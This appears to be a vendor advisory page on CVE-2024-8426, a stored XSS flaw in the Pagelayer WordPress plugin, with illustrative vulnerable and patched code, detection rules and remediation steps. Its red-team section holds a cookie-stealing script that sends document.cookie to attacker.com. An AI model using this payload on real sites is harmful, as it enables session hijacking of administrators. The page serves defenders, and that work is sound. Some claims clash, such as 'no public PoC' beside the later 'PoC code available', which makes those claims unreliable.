CVE-2024-8426
Executive Summary
CVE-2024-8426 is a Stored Cross-Site Scripting (XSS) vulnerability identified in the Page Builder: Pagelayer WordPress plugin, affecting versions prior to 1.8.8. The vulnerability arises from insufficient sanitization and escaping of certain plugin settings, allowing high-privilege users (such as administrators) to inject arbitrary web scripts or HTML. This can lead to session hijacking, defacement, or redirection to malicious sites, even when the unfiltered_html capability is disallowed. The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation) and is mapped to MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application). No public proof-of-concept (PoC) or exploit code has been released, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. However, given the high privileges required, the risk is elevated in multi-tenant or shared hosting environments.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the WordPress plugin ecosystem. The Pagelayer plugin is distributed via the official WordPress Plugin Directory. Users should verify the integrity of the plugin by checking the SHA-256 hash against the official repository. No known supply chain compromise has been reported.
CVSS Breakdown & Threat Level
CVSS Score: 0.0 (NVD) | Calculated: 4.8 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N
- Attack Vector (AV): Network – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low – No special conditions required.
- Privileges Required (PR): High – Requires admin-level access.
- User Interaction (UI): Required – Victim must visit a crafted page.
- Scope (S): Unchanged – Exploit stays within the vulnerable component.
- Confidentiality (C): Low – Limited data exposure.
- Integrity (I): Low – Limited ability to modify content.
- Availability (A): None – No impact on availability.
Threat Level: Medium. While the CVSS score is low due to high privileges required, the impact is amplified in shared hosting or multi-site WordPress networks where an admin can compromise other sites.
Deep Dive & Mechanics
The vulnerability exists in the Pagelayer plugin’s settings page, where user-supplied input is not properly sanitized or escaped before being stored and later rendered. Specifically, the plugin fails to apply esc_html() or wp_kses() to certain configuration fields, allowing an admin to inject JavaScript or HTML. When another admin or user with appropriate roles visits the settings page, the injected payload executes in their browser context.
Root Cause: The plugin uses echo $value or similar constructs without escaping, directly outputting stored data. This bypasses WordPress’s built-in unfiltered_html restriction because the vulnerability is in the plugin’s own output handling, not in the core permission check.
Attack Flow:
- Attacker with admin privileges navigates to Pagelayer settings.
- Attacker injects a malicious script into a vulnerable field (e.g., custom CSS/JS or meta tags).
- The payload is stored in the WordPress database.
- When another admin visits the settings page, the payload executes.
- The attacker can steal cookies, perform actions on behalf of the victim, or redirect to a phishing site.
Vulnerable vs. Patched Code
Vulnerable Code (pre-1.8.8):
// In pagelayer-settings.php
function pagelayer_render_field($field) {
$value = get_option($field['name']);
echo '<input type="text" name="' . $field['name'] . '" value="' . $value . '" />';
}
Patched Code (1.8.8+):
// In pagelayer-settings.php
function pagelayer_render_field($field) {
$value = get_option($field['name']);
$value = esc_attr($value); // Added escaping
echo '<input type="text" name="' . esc_attr($field['name']) . '" value="' . $value . '" />';
}
The patch adds esc_attr() to sanitize the output, preventing XSS.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- WordPress instance with Pagelayer < 1.8.8.
- Admin credentials (e.g.,
admin:password).
Steps:
- Log in as admin.
- Navigate to Pagelayer settings (e.g.,
/wp-admin/admin.php?page=pagelayer). - In a vulnerable field (e.g., "Custom CSS"), inject:
<script>alert('XSS')</script> - Save settings.
- As another admin, visit the same settings page. The script executes.
Advanced Payload:
<script>
fetch('https://attacker.com/steal?cookie='+document.cookie);
</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual changes to Pagelayer settings via audit logs.
- Look for
pagelayeroptions containing<script>tags in the database.
Hardening:
- Upgrade to version 1.8.8 immediately.
- Restrict admin access to trusted users only.
- Implement Web Application Firewall (WAF) rules to block XSS payloads in settings fields.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/pagelayer/pagelayer-settings.php(vulnerable version) - Database Option:
pagelayer_settingscontaining<script>tags. - Network: Outbound requests to attacker-controlled domains from admin sessions.
- Logs: WordPress debug log entries showing
pagelayeroption updates with suspicious content.
Detection Engineering
YARA Rule
rule pagelayer_xss_cve_2024_8426 {
meta:
description = "Detects Pagelayer plugin files vulnerable to CVE-2024-8426"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-8426"
strings:
$vuln_func = "echo '<input type=\"text\" name=\"' . $field['name'] . '\" value=\"' . $value . '\" />';"
$patched_func = "esc_attr"
condition:
$vuln_func and not $patched_func
}
Sigma Rule
title: Pagelayer Stored XSS via Settings
id: 8a3f7c2e-1b4d-4e9f-8c6a-5d2b3e1f0a7c
status: experimental
description: Detects stored XSS attempts in Pagelayer plugin settings
author: Valters IT
logsource:
category: application
product: wordpress
detection:
selection:
EventID: 1000
Message|contains: "pagelayer_settings"
Message|contains: "<script"
condition: selection
falsepositives:
- Legitimate admin use of JavaScript in settings (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Pagelayer Stored XSS - CVE-2024-8426"; flow:to_server,established; content:"pagelayer"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade Pagelayer to version 1.8.8 or later via WordPress admin or WP-CLI:
wp plugin update pagelayer - Verify update by checking plugin version in
/wp-content/plugins/pagelayer/readme.txt.
Long-term Mitigations:
- Implement Content Security Policy (CSP) headers to block inline scripts.
- Use WordPress security plugins (e.g., Wordfence) to monitor for XSS attempts.
- Regularly audit admin accounts and restrict
unfiltered_htmlcapability. - Enable automatic updates for plugins.
Workaround (if patching is delayed):
- Disable the Pagelayer plugin temporarily.
- Use
.htaccessto restrict access to Pagelayer settings page to specific IPs.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.